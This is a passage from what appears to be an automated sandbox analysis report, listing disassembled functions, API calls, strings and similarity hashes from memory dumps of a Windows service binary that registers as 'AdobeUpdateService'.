
Function 0270E841 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0270E960
___TypeMatch.LIBVCRUNTIME ref: 0270EA6E
_UnwindNestedFrames.LIBCMT ref: 0270EBC0
CallUnexpected.LIBVCRUNTIME ref: 0270EBDB

Strings

csm, xrefs: 0270E8EB
csm, xrefs: 0270E87E
csm, xrefs: 0270E997

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 0275174e13d2e9d91b3a12f051e8f4617d943602b80e7701a0e69409b5061bbe
Instruction ID: 72deadeedc62644f95ff928cd87f5ad674e842da7ddea842ef949fbba30705e6
Opcode Fuzzy Hash: 0275174e13d2e9d91b3a12f051e8f4617d943602b80e7701a0e69409b5061bbe
Instruction Fuzzy Hash: 85B13771C00209DFCF25DFA4C884AAEBBF6FF08314B14499AE8156B291D771DA59CF92

Function 004013E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 295COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004013E5

Part of subcall function 0046873A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00468746

Concurrency::cancel_current_task.LIBCPMT ref: 00401519

Strings

ServiceWorkerThread: Returning from the worker thread, xrefs: 0040173D
ServiceWorkerThread: Workflow Started, xrefs: 0040168F
ServiceWorkerThread: Started, xrefs: 004015A6
string too long, xrefs: 004013E0
ServiceWorkerThread: Workflow Start Failed, xrefs: 004016D6

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: ServiceWorkerThread: Started$ ServiceWorkerThread: Workflow Start Failed$ ServiceWorkerThread: Workflow Started$ServiceWorkerThread: Returning from the worker thread$string too long
API String ID: 3990507346-493984609
Opcode ID: d82a602f60015f722318a5e5598d58ea829feccefa44ef9ae6b957b033f1123a
Instruction ID: 0de4d92833269bd46795cda1e8f9f860099c4cf613756acb1c3ca96f5a9e6a69
Opcode Fuzzy Hash: d82a602f60015f722318a5e5598d58ea829feccefa44ef9ae6b957b033f1123a
Instruction Fuzzy Hash: D0A13BB1A002059BE710DF69DC42B6EB7A4EF40314F24427FE815E73D1EB78994487DA

Function 00401DB0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 145COMMON

Download Yara Rule

Strings

ServiceCtrlHandler: Started, xrefs: 00401E21
Receiveded SERVICE_CONTROL_STOP signal, xrefs: 00401E8C
NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00401ED3, 00401F08
ServiceCtrlHandler: Finished, xrefs: 00401F7F
OOBEEvents, xrefs: 00401EE2, 00401F0D
OOBEUtils, xrefs: 00401EE7

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils$Receiveded SERVICE_CONTROL_STOP signal$ServiceCtrlHandler: Finished$ServiceCtrlHandler: Started
API String ID: 0-3825141419
Opcode ID: 6ca62fb21f9d5d796d1c64262897b507ae4cdca6753128363298717e489f106b
Instruction ID: 66e086e936243a972247da67edb77e0195688db155f0063ebd03624c2dfed7a4
Opcode Fuzzy Hash: 6ca62fb21f9d5d796d1c64262897b507ae4cdca6753128363298717e489f106b
Instruction Fuzzy Hash: 2D51C270A81215ABEB10DB15DD46B5E3BA4EB00B18F14017BF905B73D1EF78A9048BEE

Function 004165A0 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,?,00000000,00000000,?,00404FB7,00000000,00000000,004B0CCA,00000000), ref: 004165BA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 00416661
GetLastError.KERNEL32 ref: 00416678

Strings

Error allocating memory while converting UTF8 string to Native string, xrefs: 004165EE, 0041662A
Failed to convert MultiByteToWideChar. ErrorCode::%d, xrefs: 00416687, 004166D7
StringUtils, xrefs: 004165FD, 0041662F, 00416696, 004166DC
OOBEUtils, xrefs: 00416602, 0041669B

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Error allocating memory while converting UTF8 string to Native string$Failed to convert MultiByteToWideChar. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 1717984340-475419079
Opcode ID: 2ac2b592db3f9692cb7a5b3bc46003a3bf626419324c79dd5455d25ea0bdc311
Instruction ID: 607fb1377a63fdc9f035f0c432f6c8044d68b344f7ff51ac538f5213003713f8
Opcode Fuzzy Hash: 2ac2b592db3f9692cb7a5b3bc46003a3bf626419324c79dd5455d25ea0bdc311
Instruction Fuzzy Hash: D0418D35781214A7C620AF6AAC47FEB7358EB81B25F1401BBFD09A32D0DD69AD0046ED

Function 00412610 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004126EE
__Getctype.LIBCPMT ref: 00412707
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00412751
std::_Lockit::~_Lockit.LIBCPMT ref: 004127EF
__Getwctype.LIBCPMT ref: 0041282A

Strings

bad locale name, xrefs: 0041280D

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$Locinfo::_$GetctypeGetwctypeLocinfo_ctorLocinfo_dtorLockitLockit::~_
String ID: bad locale name
API String ID: 201867346-1405518554
Opcode ID: 1af70972fbd8fd394261b7672b218bb29ee07418f61f38ba363869a3bb34d789
Instruction ID: fb01a51910be7c6eaa99b540ff2eac30bca8d6a60054ec657d3f721683236568
Opcode Fuzzy Hash: 1af70972fbd8fd394261b7672b218bb29ee07418f61f38ba363869a3bb34d789
Instruction Fuzzy Hash: 525193B1C003589BEB10DFA5C945BDAB7B4BF14314F14826ED848E7341EB78EA94CB66

Function 0270D940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0270D977
___except_validate_context_record.LIBVCRUNTIME ref: 0270D97F
_ValidateLocalCookies.LIBCMT ref: 0270DA08
__IsNonwritableInCurrentImage.LIBCMT ref: 0270DA33
_ValidateLocalCookies.LIBCMT ref: 0270DA88

Strings

csm, xrefs: 0270DA1D

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 894e7069a3bb6f9b8afff5041ee8ce0e025d7d72bd3e0c4b75bd4b3fd437d9f4
Instruction ID: 42e6c2e14da8e91730bd294b7d9e638192c40280eb952d19dde3eb4f8a56431d
Opcode Fuzzy Hash: 894e7069a3bb6f9b8afff5041ee8ce0e025d7d72bd3e0c4b75bd4b3fd437d9f4
Instruction Fuzzy Hash: 1D41AE74A00318DBCF21DFA9C884A9EBBE1EF05318F148195E819AB391D771A919CF91

Function 0041FA30 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

Strings

CommBridge, xrefs: 0041FA4D, 0041FA78, 0041FAB9, 0041FAE4
All pipes closed properly., xrefs: 0041FAAA, 0041FADF
Inside closeBridge, xrefs: 0041FA3E, 0041FA73
OOBEUtils, xrefs: 0041FA52, 0041FABE

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: All pipes closed properly.$CommBridge$Inside closeBridge$OOBEUtils
API String ID: 528846559-1211123791
Opcode ID: 1f3c2fab79f574a5bc492b236c571b4ebadb7da9787cdc0bcc3f81ec269f5a84
Instruction ID: c28e8b6ec9cc632472ca235f45b3f8d0a108cff224a1436875239388707932b2
Opcode Fuzzy Hash: 1f3c2fab79f574a5bc492b236c571b4ebadb7da9787cdc0bcc3f81ec269f5a84
Instruction Fuzzy Hash: 3421D330B40321A7CA20EF268C56F873B54AF12F11F240577B806A72D0CEACF99187AD

Function 0048857A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00488689,0040B377,?,00000000,?,?,?,004888B3,00000022,FlsSetValue,004A3F04,004A3F0C,?), ref: 0048863B

Strings

ext-ms-, xrefs: 004885E5
api-ms-, xrefs: 004885D1

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 11c0850fd9dd82efe467599ba98e49e0b0b665d46b4f2ea3fd8847a1b3d20761
Instruction ID: 0d18bb84f8fc76a6c3da93e18ff47703567a800fd64ff94e1cc0b507c8cbf4c8
Opcode Fuzzy Hash: 11c0850fd9dd82efe467599ba98e49e0b0b665d46b4f2ea3fd8847a1b3d20761
Instruction Fuzzy Hash: 2C21C331A01221ABCB21AB259C41A9F37589B51760F64096BE906B7390EF38ED00CBDD

Function 00427260 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,?,0040653E), ref: 0042726E
PathIsDirectoryW.SHLWAPI(?,?,0040653E), ref: 00427283
SHCreateDirectoryExW.SHELL32(00000000,?,00000000,?,?,0040653E), ref: 0042729D

Strings

FileUtils, xrefs: 004272C3, 004272F5
SHCreateDirectoryEx failed. Error: %d, xrefs: 004272B4, 004272F0
OOBEUtils, xrefs: 004272C8

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: DirectoryPath$CreateExistsFile
String ID: FileUtils$OOBEUtils$SHCreateDirectoryEx failed. Error: %d
API String ID: 3984196470-716391998
Opcode ID: e2f3c0152dea6573d78a5f9b5d09177c3ec5f57044b8f182ed452466184478f4
Instruction ID: 1c360898109e8edf91c6b2f0d6b286c19c2d4d721b312238894a1274079c5597
Opcode Fuzzy Hash: e2f3c0152dea6573d78a5f9b5d09177c3ec5f57044b8f182ed452466184478f4
Instruction Fuzzy Hash: F0119B3174522097CA249B55BD4AF4B3758AFC2F51B5504ABFC4557391CA68AC40CABC

Function 004151D0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151DB
DestroyEnvironmentBlock.USERENV(00000000,?,00414C7F,?), ref: 004151E9
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151F7
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415205
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415212
CloseHandle.KERNEL32(?,?,00414C7F,?), ref: 00415226
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 0041523F

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle$BlockDestroyEnvironment
String ID:
API String ID: 1096182194-0
Opcode ID: e2e22a70dbd95b21f456f59282a0213a811955f47d7c623cdfc0833d9dcf18cc
Instruction ID: 34402626d38a9728df7e9b11658db42f6f8f7e161e27eba0645d41ce3f5bf331
Opcode Fuzzy Hash: e2e22a70dbd95b21f456f59282a0213a811955f47d7c623cdfc0833d9dcf18cc
Instruction Fuzzy Hash: 5501D371B00B11EBDB209F76EC48B9777ECBF54B41304493AB956E3650EA78E8408A69

Function 0041FB30 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,0041FAA0,00000000,00000008,00405984), ref: 0041FBA7
CloseHandle.KERNEL32(00000000,?,?,0041FAA0,00000000,00000008,00405984), ref: 0041FC27

Strings

CommBridge, xrefs: 0041FB5A, 0041FB87, 0041FBDA, 0041FC07
Closing outPipe %p, xrefs: 0041FB4B, 0041FB82
Closing inPipe %p, xrefs: 0041FBCB, 0041FC02
OOBEUtils, xrefs: 0041FB5F, 0041FBDF

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle
String ID: Closing inPipe %p$Closing outPipe %p$CommBridge$OOBEUtils
API String ID: 2962429428-1143323105
Opcode ID: 2a3135dafd0f9304286105df91380c5b5f1a53f32146d0c127ed63ac37bcf816
Instruction ID: 0f7ac151626cc6776e72673ec142dc1ae90cb188b2ca2df04446cdc6e3645632
Opcode Fuzzy Hash: 2a3135dafd0f9304286105df91380c5b5f1a53f32146d0c127ed63ac37bcf816
Instruction Fuzzy Hash: C421F630740311A7CA20EF259D66F9B3654BB41B00F14017BF912A72E1CBACBD5286ED

Function 004018B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 106registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32(AdobeUpdateService,00401DB0), ref: 00401942
GetLastError.KERNEL32 ref: 004019A0

Part of subcall function 00401770: SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
Part of subcall function 00401770: GetLastError.KERNEL32 ref: 00401877

Part of subcall function 00401A30: GetLastError.KERNEL32(00000000,00000001,?,00401A1C), ref: 00401AC7

Strings

AdobeUpdateService, xrefs: 0040193D
ServiceMain: Failed to register the service with Register Service Control Handler with %d, xrefs: 004019A7
ServiceMain: Started, xrefs: 00401922

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLast$Service$CtrlHandlerRegisterStatus
String ID: AdobeUpdateService$ServiceMain: Failed to register the service with Register Service Control Handler with %d$ServiceMain: Started
API String ID: 125077777-3162937321
Opcode ID: b74a3c793bce63fd3287ecdf9c99267635b26962f32db75fa19738fde18ddafd
Instruction ID: a0a6ef52c26ab5d4a2a010d99244e849a5362b380fe035aef843cf64b66cd91c
Opcode Fuzzy Hash: b74a3c793bce63fd3287ecdf9c99267635b26962f32db75fa19738fde18ddafd
Instruction Fuzzy Hash: 25311171A40215ABE300DF6AED46B5A77A4EB55714F14423FE804A73D0EFB86904CBA9

Function 0040B280 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,00404417,000000FF,000000FF,?,?), ref: 0040B317
